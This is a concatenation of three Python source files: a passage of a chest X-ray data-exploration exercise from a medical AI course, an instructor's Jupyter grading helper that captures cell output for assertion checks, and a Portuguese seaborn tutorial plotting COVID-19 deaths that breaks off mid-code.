a different person.\n\n# In[ ]:\n\n\nprint(f\"The total patient ids are {train_df['PatientId'].count()}, from those the unique ids are {train_df['PatientId'].value_counts().shape[0]} \")\n\n\n# As you can see, the number of unique patients in the dataset is less than the total number so there must be some overlap. For patients with multiple records, you'll want to make sure they do not show up in both training and test sets in order to avoid data leakage (covered later in this week's lectures).\n# \n# ### Explore data labels\n# Run the next two code cells to create a list of the names of each patient condition or disease. \n\n# In[4]:\n\n\ncolumns = train_df.keys()\ncolumns = list(columns)\nprint(columns)\n\n\n# In[5]:\n\n\n# Remove unnecesary elements\ncolumns.remove('Image')\ncolumns.remove('PatientId')\n# Get the total classes\nprint(f\"There are {len(columns)} columns of labels for these conditions: {columns}\")\n\n\n# Run the next cell to print out the number of positive labels (1's) for each condition\n\n# In[6]:\n\n\n# Print out the number of positive labels for each class\nfor column in columns:\n    print(f\"The class {column} has {train_df[column].sum()} samples\")\n\n\n# Have a look at the counts for the labels in each class above. Does this look like a balanced dataset?\n\n# ### Data Visualization\n# Using the image names listed in the csv file, you can retrieve the image associated with each row of data in your dataframe. \n# \n# Run the cell below to visualize a random selection of images from the dataset.\n\n# In[7]:\n\n\n# Extract numpy values from Image column in data frame\nimages = train_df['Image'].values\n\n# Extract 9 random images from it\nrandom_images = [np.random.choice(images) for i in range(9)]\n\n# Location of the image dir\nimg_dir = 'nih/images-small/'\n\nprint('Display Random Images')\n\n# Adjust the size of your images\nplt.figure(figsize=(20,10))\n\n# Iterate and plot random images\nfor i in range(9):\n    plt.subplot(3, 3, i + 1)\n    img = plt.imread(os.path.join(img_dir, random_images[i]))\n    plt.imshow(img, cmap='gray')\n    plt.axis('off')\n    \n# Adjust subplot parameters to give specified padding\nplt.tight_layout()    \n\n\n# ### Investigate a single image\n# Run the cell below to look at the first image in the dataset and print out some details of the image contents.\n\n# In[8]:\n\n\n# Get the first image that was listed in the train_df dataframe\nsample_img = train_df.Image[0]\nraw_image = plt.imread(os.path.join(img_dir, sample_img))\nplt.imshow(raw_image, cmap='gray')\nplt.colorbar()\nplt.title('Raw Chest X Ray Image')\nprint(f\"The dimensions of the image are {raw_image.shape[0]} pixels width and {raw_image.shape[1]} pixels height, one single color channel\")\nprint(f\"The maximum pixel value is {raw_image.max():.4f} and the minimum is {raw_image.min():.4f}\")\nprint(f\"The mean value of the pixels is {raw_image.mean():.4f} and the standard deviation is {raw_image.std():.4f}\")\n\n\n# ### Investigate pixel value distribution\n# Run the cell below to plot up the distribution of pixel values in the image shown above. \n\n# In[9]:\n\n\n# Plot a histogram of the distribution of the pixels\nsns.distplot(raw_image.ravel(), \n             label=f'Pixel Mean {np.mean(raw_image):.4f} & Standard Deviation {np.std(raw_image):.4f}', kde=False)\nplt.legend(loc='upper center')\nplt.title('Distribution of Pixel Intensities in the Image')\nplt.xlabel('Pixel Intensity')\nplt.ylabel('# Pixels in Image')\n\n\n# <a name=\"image-processing\"></a>\n# \n# # Image Preprocessing in Keras\n# \n# Before training, you'll first modify your images to be better suited for training a convolutional neural network. For this task you'll use the Keras [ImageDataGenerator](https://keras.io/preprocessing/image/) function to perform data preprocessing and data augmentation.\n# \n# Run the next two cells to import this function and create an image generator for preprocessing.\n\n# In[10]:\n\n\n# Import data generator from keras\nfrom keras.preprocessing.image import ImageDataGenerator\n\n\n# In[11]:\n\n\n# Normalize images\nimage_generator = ImageDataGenerator(\n    samplewise_center=True, #Set each sample mean to 0.\n    samplewise_std_normalization= True # Divide each input by its standard deviation\n)\n\n\n# ### Standardization\n# \n# The `image_generator` you created above will act to adjust your image data such that the new mean of the data will be zero, and the standard deviation of the data will be 1.  \n# \n# In other words, the generator will replace each pixel value in the image with a new value calculated by subtracting the mean and dividing by the standard deviation.\n# \n# $$\\frac{x_i - \\mu}{\\sigma}$$\n# \n# Run the next cell to pre-process your data using the `image_generator`. In this step you will also be reducing the image size down to 320x320 pixels.\n\n# In[12]:\n\n\n# Flow from directory with specified batch size and target image size\ngenerator = image_generator.flow_from_dataframe(\n        dataframe=train_df,\n        directory=\"nih/images-small/\",\n        x_col=\"Image\", # features\n        y_col= ['Mass'], # labels\n        class_mode=\"raw\", # 'Mass' column should be in train_df\n        batch_size= 1, # images per batch\n        shuffle=False, # shuffle the rows or not\n        target_size=(320,320) # width and height of output image\n)\n\n\n# Run the next cell to plot up an example of a pre-processed image\n\n# In[13]:\n\n\n# Plot a processed image\nsns.set_style(\"white\")\ngenerated_image, label = generator.__getitem__(0)\nplt.imshow(generated_image[0], cmap='gray')\nplt.colorbar()\nplt.title('Raw Chest X Ray Image')\nprint(f\"The dimensions of the image are {generated_image.shape[1]} pixels width and {generated_image.shape[2]} pixels height\")\nprint(f\"The maximum pixel value is {generated_image.max():.4f} and the minimum is {generated_image.min():.4f}\")\nprint(f\"The mean value of the pixels is {generated_image.mean():.4f} and the standard deviation is {generated_image.std():.4f}\")\n\n\n# Run the cell below to see a comparison of the distribution of pixel values in the new pre-processed image versus the raw image. \n\n# In[14]:\n\n\n# Include a histogram of the distribution of the pixels\nsns.set()\nplt.figure(figsize=(10, 7))\n\n# Plot histogram for original iamge\nsns.distplot(raw_image.ravel(), \n             label=f'Original Image: mean {np.mean(raw_image):.4f} - Standard Deviation {np.std(raw_image):.4f} \\n '\n             f'Min pixel value {np.min(raw_image):.4} - Max pixel value {np.max(raw_image):.4}',\n             color='blue', \n             kde=False)\n\n# Plot histogram for generated image\nsns.distplot(generated_image[0].ravel(), \n             label=f'Generated Image: mean {np.mean(generated_image[0]):.4f} - Standard Deviation {np.std(generated_image[0]):.4f} \\n'\n             f'Min pixel value {np.min(generated_image[0]):.4} - Max pixel value {np.max(generated_image[0]):.4}', \n             color='red', \n             kde=False)\n\n# Place legends\nplt.legend()\nplt.title('Distribution of Pixel Intensities in the Image')\nplt.xlabel('Pixel Intensity')\nplt.ylabel('# Pixel')\n\n\n# #### That's it for this exercise, you should now be a bit more familiar with the dataset you'll be using in this week's assignment!\n", "meta": {"hexsha": "4fdeb1093767bb4b5b99fbaf0b6be30320b68666", "size": 9177, "ext": "py", "lang": "Python", "max_stars_repo_path": "AI/AI_for_Medical_Diagnosis/week01/utf-8''AI4M_C1_W1_lecture_ex_01.py", "max_stars_repo_name": "unimauro/Courses", "max_stars_repo_head_hexsha": "81e5b9c4cbc9b875eff82f96bda7d21ec4f258b2", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-07-25T04:56:55.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-25T04:56:55.000Z", "max_issues_repo_path": "AI/AI_for_Medical_Diagnosis/week01/utf-8''AI4M_C1_W1_lecture_ex_01.py", "max_issues_repo_name": "unimauro/Courses", "max_issues_repo_head_hexsha": "81e5b9c4cbc9b875eff82f96bda7d21ec4f258b2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-06-15T04:42:00.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-29T03:48:28.000Z", "max_forks_repo_path": "AI/AI_for_Medical_Diagnosis/week01/utf-8''AI4M_C1_W1_lecture_ex_01.py", "max_forks_repo_name": "unimauro/Courses", "max_forks_repo_head_hexsha": "81e5b9c4cbc9b875eff82f96bda7d21ec4f258b2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.7081712062, "max_line_length": 316, "alphanum_fraction": 0.7280156914, "include": true, "reason": "import numpy", "num_tokens": 2199, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814501625211, "lm_q2_score": 0.18010666188603547, "lm_q1q2_score": 0.07816295030923254}}
{"text": "# Instructor Version\r\n\r\nimport re\r\nimport io\r\nimport contextlib\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport IPython\r\nfrom IPython import get_ipython\r\nfrom IPython.core.magic import register_line_magic, register_cell_magic\r\nfrom IPython.display import HTML, display, YouTubeVideo\r\n\r\n\r\n# globals\r\n_LAST_IN = _LAST_OUT = \"\"\r\n_LAST_PLOT = None\r\n_LAST_DISPLAY = ()\r\n\r\n# wrap show() to grab a copy of a figure before it's closed\r\n_old_show = plt.show\r\ndef _new_show(*args, **kwargs):\r\n    global _LAST_PLOT\r\n    _LAST_PLOT = plt.gcf()\r\n    _old_show(*args, **kwargs)\r\n\r\n# wrap print() to grab a copy of whatever is printed\r\n_old_print = print\r\ndef _new_print(*args, **kwargs):\r\n    global _LAST_OUT\r\n    out = io.StringIO()\r\n    with contextlib.redirect_stdout(out):\r\n        _old_print(*args, **kwargs)\r\n    _LAST_OUT += out.getvalue()\r\n    _old_print(*args, **kwargs)\r\n\r\n# wrap display() to grab the text representation of rich output objects\r\n_old_display = IPython.display.display\r\ndef _new_display(*args, **kwargs):\r\n    global _LAST_DISPLAY\r\n    _LAST_DISPLAY = args\r\n    _old_display(*args, **kwargs)\r\n\r\n\r\n@register_line_magic\r\ndef background(color):\r\n    \"\"\"\r\n    Change the background color of a code cell.\r\n    \"\"\"\r\n    js = (\r\n        \"var cell = this.closest('.jp-CodeCell');\"\r\n        \"if (cell) {\"\r\n        \"    var input_area = cell.querySelector('.jp-Editor');\"\r\n        \"} else {\"\r\n        \"    var cell = this.closest('.cell');\"\r\n        \"    var input_area = cell.querySelector('.input_area');\"\r\n        \"}\"\r\n        f\"input_area.style.background='{color}';\"\r\n        \"this.parentNode.removeChild(this);\"\r\n        )\r\n    display(HTML(f'<img src onerror=\"{js}\">')) # Such hackery. Much javascript.\r\n\r\n\r\n@register_line_magic\r\ndef video(youtube_id):\r\n    \"\"\"\r\n    Display a YouTube video.\r\n    \"\"\"\r\n    display(YouTubeVideo(youtube_id, 720, 480, rel=0))\r\n\r\n\r\n@register_cell_magic\r\ndef graded(line, cell):\r\n    \"\"\"\r\n    Store input and output for testing. Also changes the background color.\r\n    \"\"\"\r\n    global _LAST_IN, _LAST_OUT, _LAST_PLOT, _LAST_DISPLAY\r\n    background(\"lavender\")\r\n    _LAST_IN = cell\r\n    _LAST_PLOT = None # should only exist if this cell makes one\r\n    _LAST_DISPLAY = () # clear\r\n    _LAST_OUT = \"\" # reset print buffer\r\n    plt.show = _new_show # monkey patch\r\n    IPython.display.display = _new_display\r\n    get_ipython().user_ns[\"print\"] = _new_print # harder to change print\r\n    get_ipython().run_cell(cell)\r\n    plt.show = _old_show # restore\r\n    IPython.display.display = _old_display\r\n    get_ipython().user_ns[\"print\"] = _old_print\r\n\r\n\r\n@register_cell_magic\r\ndef tests(line, cell):\r\n    \"\"\"\r\n    This cell runs tests.\r\n    \"\"\"\r\n    # no_code = True\r\n    # for line in _LAST_IN.split(\"\\n\"):\r\n    #     if not re.match(r\"\\s+|\\s*#.*|^$\", line): no_code = False\r\n    # if no_code:\r\n    #     background(\"lightyellow\")\r\n    #     print(\"Nothing to test yet...\")\r\n    # else:\r\n    result = get_ipython().run_cell(cell)\r\n    if result.success:\r\n        background(\"lightgreen\")\r\n        print(\"All tests passed!\")\r\n    else:\r\n        background(\"pink\")\r\n\r\n\r\ndef equal(A, B):\r\n    \"\"\"\r\n    Check that A = B.\r\n    \"\"\"\r\n    np.testing.assert_equal(A, B)\r\n\r\n\r\ndef similar(A, B, rtol=0.01, atol=1e-12):\r\n    \"\"\"\r\n    Check that A = B with tolerance atol + rtol*B.\r\n    \"\"\"\r\n    np.testing.assert_allclose(A, B, rtol=rtol, atol=atol)\r\n\r\n\r\ndef code_contains(*args, forbidden=False):\r\n    \"\"\"\r\n    Check that <args> appear in the previous graded cell.\r\n    If forbidden, check that <args> do NOT appear.\r\n    \"\"\"\r\n    for arg in args:\r\n        if not re.search(arg, _LAST_IN):\r\n            if not forbidden:\r\n                raise AssertionError(f\"The previous cell doesn't include '{arg}'.\")\r\n        else:\r\n            if forbidden:\r\n                raise AssertionError(f\"The previous cell contains the forbidden code: '{arg}'\")\r\n\r\n\r\ndef printed(*args):\r\n    \"\"\"\r\n    Check that <args> were printed by previous graded cell.\r\n    \"\"\"\r\n    for arg in args:\r\n        if not re.search(arg, _LAST_OUT):\r\n            raise AssertionError(f\"Printed output doesn't contain '{arg}'.\")\r\n\r\n\r\ndef get_plot():\r\n    \"\"\"\r\n    Return the figure object from the last graded cell.\r\n    \"\"\"\r\n    return _LAST_PLOT\r\n\r\n\r\ndef plot_shown():\r\n    \"\"\"\r\n    Check that previous graded cell created a plot.\r\n    \"\"\"\r\n    assert _LAST_PLOT, \"Plot missing. Did you use plt.show()?\"\r\n    \r\n\r\ndef plot_has(*args):\r\n    \"\"\"\r\n    Check that previous graded cell created a plot with all of the <args> set.\r\n    <args> are strings like \"title\" or \"legend\".\r\n\r\n    Note: This function only checks the most recent figure. If you need to show\r\n    more than one plot from a single cell, use subplots. This will also break if\r\n    you .close() the figure before this test is run.\r\n    \"\"\"\r\n    assert _LAST_PLOT, \"Plot missing. Did you use plt.show()?\"\r\n\r\n    for arg in args:\r\n        found = False\r\n        for ax in _LAST_PLOT.axes:\r\n            if hasattr(ax, \"get_\" + arg):\r\n                if getattr(ax, \"get_\" + arg)():\r\n                    found = True\r\n        assert found, f\"'{arg}' was not set for plot\"\r\n\r\n\r\ndef plot_snapshot():\r\n    \"\"\"\r\n    Print the state of the plot from the previous graded cell.\r\n    \"\"\"\r\n    assert _LAST_PLOT, \"Plot missing. Did you use plt.show()?\"\r\n\r\n    def inspect(obj, depth=0):\r\n        if hasattr(obj, \"get_children\"):\r\n            children = getattr(obj, \"get_children\")()\r\n            for child in children:\r\n                print(\"\\t\" * depth, child, sep=\"\")\r\n                inspect(child, depth+1)\r\n    \r\n    inspect(_LAST_PLOT)\r\n\r\n\r\ndef animation_shown():\r\n    \"\"\"\r\n    Check that previous graded cell created an animation.\r\n\r\n    Note: This function requires that display.display(video_as_html) was called\r\n    \"\"\"\r\n    found = False\r\n    for d in _LAST_DISPLAY:\r\n        if hasattr(d, \"data\"):\r\n            if \"</video>\" in d.data:\r\n                found = True\r\n    assert found, \"Animation missing. Did you show it with display.display()?\"\r\n\r\n\r\ndef widget_snapshot():\r\n    \"\"\"\r\n    Display widget's current state for manual grading\r\n\r\n    Note: This function requires that display.display(widget) was called\r\n    \"\"\"\r\n    # prints string representation of EVERYTHING that was displayed\r\n    for widget in _LAST_DISPLAY:\r\n        s = str(widget)\r\n        matches = re.findall(r\"outputs=\\(.*?\\)\", s)\r\n        for match in matches:\r\n            s = s.replace(match, \"\")\r\n        print(s)\r\n\r\n        # this might break since other things can be displayed\r\n        # for match in matches:\r\n        #     output = re.search(r\"{'text/plain':.*?}\", match)\r\n        #     if output:\r\n        #         display(eval(output.group()), raw=True)\r\n\r\n\r\ndef widget_has(*args):\r\n    \"\"\"\r\n    Check that widget is contains <args>, where <args> are strings like\r\n    \"IntSlider\" or \"HBox\".\r\n\r\n    Note: This function requires that display.display(widget) was called\r\n    \"\"\"\r\n    for arg in args:\r\n        match = re.search(arg, str(_LAST_DISPLAY))\r\n        assert match, f\"Widget property '{arg}' not found.  Did you use display.display()?\"", "meta": {"hexsha": "ababa8466e20c5c10b4991d7f32262d147f2cae0", "size": 7090, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignments/grading_helper.py", "max_stars_repo_name": "davidnero/phys1321-lectures", "max_stars_repo_head_hexsha": "328222be3de1d68de531f0cc008a6607032e6721", "max_stars_repo_licenses": ["BSD-4-Clause-UC"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignments/grading_helper.py", "max_issues_repo_name": "davidnero/phys1321-lectures", "max_issues_repo_head_hexsha": "328222be3de1d68de531f0cc008a6607032e6721", "max_issues_repo_licenses": ["BSD-4-Clause-UC"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignments/grading_helper.py", "max_forks_repo_name": "davidnero/phys1321-lectures", "max_forks_repo_head_hexsha": "328222be3de1d68de531f0cc008a6607032e6721", "max_forks_repo_licenses": ["BSD-4-Clause-UC"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.2975206612, "max_line_length": 96, "alphanum_fraction": 0.6033850494, "include": true, "reason": "import numpy", "num_tokens": 1680, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.21733751597763015, "lm_q1q2_score": 0.07810331064052106}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Visualiza\u00e7\u00e3o de dados com _seaborn_\n\n# No cap\u00edtulo [Plotagem e formata\u00e7\u00e3o de gr\u00e1ficos](09-plotagem-matplot.ipynb), fizemos uma breve introdu\u00e7\u00e3o \u00e0 _visualiza\u00e7\u00e3o de dados_ e aprendemos a utilizar o _matplotlib_ para realizar plotagens b\u00e1sicas de gr\u00e1ficos. Neste cap\u00edtulo, exploraremos a visualiza\u00e7\u00e3o de dados utilizando o m\u00f3dulo _seaborn_. \n# \n# O _seaborn_ estende as potencialidades do _matplotlib_ em, praticamente, dois aspectos: i) provendo melhor estiliza\u00e7\u00e3o dos gr\u00e1ficos e tornando-os visualmente \"belos\"; ii) compactando fun\u00e7\u00f5es de plotagem do _matplotlib_, de modo que plotagens robustas sejam obtidas com menos instru\u00e7\u00f5es de c\u00f3digo.\n\n# Vamos come\u00e7ar importando as bibliotecas que utilizaremos.\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n# Vamos reconstruir e importar alguns *DataFrames*.\n\n# In[2]:\n\n\nserie_Idade = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22, 'T\u00falio': 20}, name=\"Idade\")\nserie_Peso = pd.Series({'Ana':55, 'Jo\u00e3o': 80, 'Maria': 62, 'Pedro': 67, 'T\u00falio': 73}, name=\"Peso\")\nserie_Altura = pd.Series({'Ana':162, 'Jo\u00e3o': 178, 'Maria': 162, 'Pedro': 165, 'T\u00falio': 171}, name=\"Altura\")\n\n\n# In[3]:\n\n\ndicionario_series_exemplo = {'Idade': serie_Idade, 'Peso': serie_Peso, 'Altura': serie_Altura}\n\n\n# In[4]:\n\n\ndf_dict_series = pd.DataFrame(dicionario_series_exemplo);df_dict_series\n\n\n# In[5]:\n\n\ndf_exemplo = pd.read_csv('../database/exemplo_data.csv', index_col=0)\ndf_exemplo['coluna_3'] = pd.Series([1,2,3,4,5,6,7,8,np.nan,np.nan],index=df_exemplo.index)\ndf_exemplo.index = pd.to_datetime(df_exemplo.index)\ndf_exemplo\n\n\n# In[6]:\n\n\ncovid_PB = pd.read_csv('https://superset.plataformatarget.com.br/superset/explore_json/?form_data=%7B%22slice_id%22%3A1550%7D&csv=true', \n                             sep=',', index_col=0)\ncovid_PB.head()\n\n\n# In[7]:\n\n\ncovid_BR = pd.read_excel('../database/HIST_PAINEL_COVIDBR_25jul2020.xlsx')\ncovid_BR.head()\n\n\n# ## Gr\u00e1ficos de Linha e de Dispers\u00e3o\n# \n# Atrav\u00e9s da fun\u00e7\u00e3o `relplot`, podemos alterar o valor do par\u00e2metro `kind` para\n# obter gr\u00e1ficos do linha, com `kind = 'line'`, ou gr\u00e1ficos de dispers\u00e3o, com `kind  = 'scatter'`. De modo alternativo, poder\u00edamos tamb\u00e9m utilizar as fun\u00e7\u00f5es `lineplot` e `scatterplot`. Entretanto, com `relplot`, diversos elementos de constru\u00e7\u00e3o de figura existentes no *matplotlib* j\u00e1 s\u00e3o pr\u00e9-configurados no _seaborn_. Isto \u00e9 chamado no *seaborn* de *figure-level plot*.\n\n# Inicialmente, vejamos como a fun\u00e7\u00e3o `lineplot` se comporta como qualquer outra do `matplotlib.pyplot`.\n\n# In[8]:\n\n\nfig, ax = plt.subplots()\nax = sns.lineplot(x=\"index\", y=\"coluna_1\", data=df_exemplo.reset_index(), label = 'Coluna 1')\nax = sns.lineplot(x=\"index\", y=\"coluna_2\", data=df_exemplo.reset_index(), label = 'Coluna 2')\nax = sns.lineplot(x=\"index\", y=\"coluna_3\", data=df_exemplo.reset_index(), label = 'Coluna 3')\nax.set_xlabel('Data')\nax.set_ylabel('Valor')\nfig.autofmt_xdate() # auto-formata xticks tipo \"data\"\n\n\n# Para utilizar a fun\u00e7\u00e3o `relplot`, precisaremos reorganizar o banco de dados de modo que haja apenas uma coluna de valores no eixo _y_ (`Valor`) e uma coluna com um identificador de cor/tonalidade (`Coluna`).\n\n# In[9]:\n\n\n# reorganiza para 'Coluna 1'\ndf_exemplo_px = pd.DataFrame(df_exemplo['coluna_1']).rename({'coluna_1':'Valor'}, axis=1)\ndf_exemplo_px['Coluna'] = 'Coluna 1' \n\n# concatena 'Coluna 2'\ndf_exemplo_px_temp = pd.DataFrame(df_exemplo['coluna_2']).rename({'coluna_2':'Valor'}, axis=1)\ndf_exemplo_px_temp['Coluna'] = 'Coluna 2'\ndf_exemplo_px = pd.concat([df_exemplo_px, df_exemplo_px_temp])\n\n# concatena 'Coluna 3'\ndf_exemplo_px_temp = pd.DataFrame(df_exemplo['coluna_3']).rename({'coluna_3':'Valor'}, axis=1)\ndf_exemplo_px_temp['Coluna'] = 'Coluna 3'\ndf_exemplo_px = pd.concat([df_exemplo_px, df_exemplo_px_temp])\n\ndf_exemplo_px.head()\n\n\n# In[10]:\n\n\n# 'hue' atribui as tonalidades de cor com base no identificador \np = sns.relplot(x = 'index', y='Valor', hue = 'Coluna', data=df_exemplo_px.reset_index().dropna(), kind='line')\np.fig.autofmt_xdate()\np.ax.set_xlabel('Data')\np.fig.set_size_inches(8,4) # largura, altura\n\n\n# Vamos agora plotar o gr\u00e1fico de \u00f3bitos por COVID-19 na Para\u00edba juntamente com a m\u00e9dia aritm\u00e9tica m\u00f3vel de 7 dias e com a m\u00e9dia geom\u00e9trica m\u00f3vel de 7 dias.\n# \n# Utilizaremos o m\u00e9todo `rolling` de uma *Series* ou *DataFrame* do *pandas*. Este m\u00e9todo cria janelas m\u00f3veis onde podemos aplicar uma fun\u00e7\u00e3o agregadora (tal como m\u00e9dia ou m\u00e9dia geom\u00e9trica).\n\n# Coment\u00e1rios: \n# \n# - A m\u00e9dia aritm\u00e9tica tem a desvantagem de linearizar o efeito do crescimento ou decrescimento do n\u00famero de \u00f3bitos, onde sabemos que o efeito \u00e9 exponencial.\n# - A m\u00e9dia geom\u00e9trica m\u00f3vel tem a desvantagem de se anular se o n\u00famero de \u00f3bitos em algum dos dias da janela for zero.\n# - Em geral, as duas m\u00e9dias ficam muito pr\u00f3ximas.\n\n# In[11]:\n\n\n# fun\u00e7\u00e3o que calcula a m\u00e9dia geom\u00e9trica\nfrom scipy.stats import gmean \n\n# s\u00e9rie\ncovid_PB_obitos = covid_PB.obitosNovos\ncovid_PB_obitos = covid_PB_obitos.sort_index()\ncovid_PB_obitos.name = '\u00d3bitos'\n\n# dataframe\ncovid_PB_obitos_df = pd.DataFrame(covid_PB_obitos)\ncovid_PB_obitos_df['Tipo'] = 'Valor nominal'\n\n# m\u00e9dia aritm\u00e9tica m\u00f3vel\ncovid_PB_obitos_df_temp = pd.DataFrame(covid_PB_obitos.rolling(7).mean().dropna())\ncovid_PB_obitos_df_temp['Tipo'] = 'MM:arit - 7d'\ncovid_PB_obitos_df = pd.concat([covid_PB_obitos_df, covid_PB_obitos_df_temp])\n\n# m\u00e9dia geom\u00e9trica m\u00f3vel\ncovid_PB_obitos_df_temp = pd.DataFrame(covid_PB_obitos.rolling(7).aggregate(gmean).dropna())\ncovid_PB_obitos_df_temp['Tipo'] = 'MM:geom - 7d'\ncovid_PB_obitos_df = pd.concat([covid_PB_obitos_df, covid_PB_obitos_df_temp])\n\ncovid_PB_obitos_df.index = pd.to_datetime(covid_PB_obitos_df.index)\n\ncovid_PB_obitos_df.tail()\n\n\n# In[12]:\n\n\np = sns.relplot(x = 'data', y='\u00d3bitos', \n                hue = 'Tipo', \n                data=covid_PB_obitos_df.reset_index(), \n                kind='line')\np.fig.autofmt_xdate()\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# Vamos agora construir um gr\u00e1fico de dispers\u00e3o com o _DataFrame_ `df_exemplo_px`.\n\n# In[13]:\n\n\n# 'scatter' \u00e9 padr\u00e3o\np = sns.relplot(x = 'index', y='Valor', \n                hue = 'Coluna', \n                data=df_exemplo_px.reset_index().dropna())\np.fig.autofmt_xdate()\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# Vamos for\u00e7ar os limites de datas a ficarem dentro do m\u00ednimo (menos um dia) e do m\u00e1ximo (mais um dia):\n\n# In[14]:\n\n\np = sns.relplot(x = 'index', y='Valor', \n                      hue = 'Coluna', \n                      data=df_exemplo_px.reset_index().dropna())\n\n# offset de data\np.ax.set_xlim((df_exemplo_px.reset_index()['index'].min()\n               - pd.DateOffset(days=1)),\n              (df_exemplo_px.reset_index()['index'].max()\n               + pd.DateOffset(days=1)))\n\np.fig.autofmt_xdate()\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# In[15]:\n\n\n# especifica cores e tamanhos\np = sns.relplot(x = 'index', y='coluna_1', \n                hue = 'coluna_2', \n                size = 'coluna_3', \n                data=df_exemplo.reset_index().dropna())\n\np.ax.set_xlim((df_exemplo.reset_index()['index'].min()\n               - pd.DateOffset(days=1)), \n              (df_exemplo.reset_index()['index'].max()\n               + pd.DateOffset(days=1)))\n\np.fig.autofmt_xdate()\np.ax.set_xlabel('')\np.fig.set_size_inches(8,4)\n\n\n# In[16]:\n\n\ncovid_PB_casos_obitos = covid_PB[['obitosNovos', 'casosNovos']].sort_index()\ncovid_PB_casos_obitos.index = pd.to_datetime(covid_PB_casos_obitos.index)\n\n# cor: \u00f3bitos novos\np = sns.relplot(x = 'data', y = 'casosNovos', \n                hue = 'obitosNovos', \n                data=covid_PB_casos_obitos.reset_index())\n\np.ax.set_xlim((covid_PB_casos_obitos.reset_index()['data'].min()\n               - pd.DateOffset(days=5)),\n              (covid_PB_casos_obitos.reset_index()['data'].max()\n               + pd.DateOffset(days=5)))\n\np.fig.autofmt_xdate()\np.ax.set_xlabel('')\np.ax.set_ylabel('Casos COVID-19 - PB')\np.ax.set_title('Casos e \u00d3bitos de COVID-19 na Para\u00edba')\np.fig.set_size_inches(8,4)\n\n\n# ## Gr\u00e1ficos de dispers\u00e3o em dados categ\u00f3ricos\n# \n# Quando h\u00e1 muitos valores repetidos em uma vari\u00e1vel, os gr\u00e1ficos de dispers\u00e3o podem n\u00e3o ilustrar efetivamente o comportamento dos dados. Neste caso, \u00e9 interessante que o gr\u00e1fico considere a repeti\u00e7\u00e3o dos valores dentro de uma mesma categoria.\n\n# Coment\u00e1rios:\n# \n# - Isto acontece quando o eixo horizontal cont\u00e9m vari\u00e1veis categ\u00f3ricas e, assim, tem-se repeti\u00e7\u00e3o de valores dentro de uma mesma categoria.\n\n# Para gr\u00e1ficos deste tipo, utilizaremos os dados de \u00f3bitos por COVID-19 no Brasil. Agruparemos o n\u00famero de \u00f3bitos por dia da semana.\n\n# In[17]:\n\n\ncovid_BR_obitos = covid_BR.query('regiao == \"Brasil\"')[['obitosNovos','data']]\n\ncovid_BR_obitos.data = pd.to_datetime(covid_BR_obitos.data)\n\ncovid_BR_obitos['Dia'] = covid_BR_obitos.data.dt.weekday.map(\n    {0:'Segunda-Feira',\n     1:'Ter\u00e7a-Feira',\n     2:'Quarta-Feira',\n     3:'Quinta-Feira',\n     4:'Sexta-Feira',\n     5:'S\u00e1bado',\n     6:'Domingo'})\n\ncovid_BR_obitos = covid_BR_obitos.set_index('data')\ncovid_BR_obitos\n\n\n# Se quisermos determinar a ordem do eixo _x_, `relplot` n\u00e3o \u00e9 a fun\u00e7\u00e3o ideal. Al\u00e9m disso, devido \u00e0 sobreposi\u00e7\u00e3o dos dados, ela definitivamente n\u00e3o \u00e9 a ideal para vari\u00e1veis categ\u00f3ricas. Vejamos:\n\n# In[18]:\n\n\np = sns.relplot(x='Dia', y='obitosNovos', data=covid_BR_obitos)\np.ax.set_xlabel(''); \np.fig.set_size_inches(8,4)\n\n\n# ## O gr\u00e1fico *stripplot*\n# \n# O *stripplot* \u00e9 um gr\u00e1fico de dispers\u00e3o onde a cada observa\u00e7\u00e3o \u00e9 colocado um deslocamento aleat\u00f3rio para evitar a sobreposi\u00e7\u00e3o e fornecer uma ideia mais precisa da quantidade de dados.\n# \n# Vamos construir o *stripplot* atrav\u00e9s da fun\u00e7\u00e3o `catplot`. O *stripplot* \u00e9 o gr\u00e1fico padr\u00e3o do `catplot` (tem o argumento `kind = 'strip'`).\n# \n# Podemos determinar a ordem das vari\u00e1veis categ\u00f3ricas com o argumento *order*.\n\n# In[19]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos', \n                data=covid_BR_obitos, order = \n                ['Segunda-Feira', 'Ter\u00e7a-Feira',\n                 'Quarta-Feira', 'Quinta-Feira',\n                 'Sexta-Feira', 'S\u00e1bado', 'Domingo'])\n\np.ax.set_xlabel('');\np.fig.set_size_inches(8,4)\n\n\n# Se colocarmos `jitter=False`, obteremos o gr\u00e1fico de dispers\u00e3o usual (com o detalhe de que podemos definir a ordem dos r\u00f3tulos do eixo *x*).\n\n# In[20]:\n\n\np = sns.catplot(x='Dia', y='obitosNovos', \n                jitter = False,\n                data=covid_BR_obitos,\n                order = ['Segunda-Feira', 'Ter\u00e7a-Feira',\n                         'Quarta-Feira', 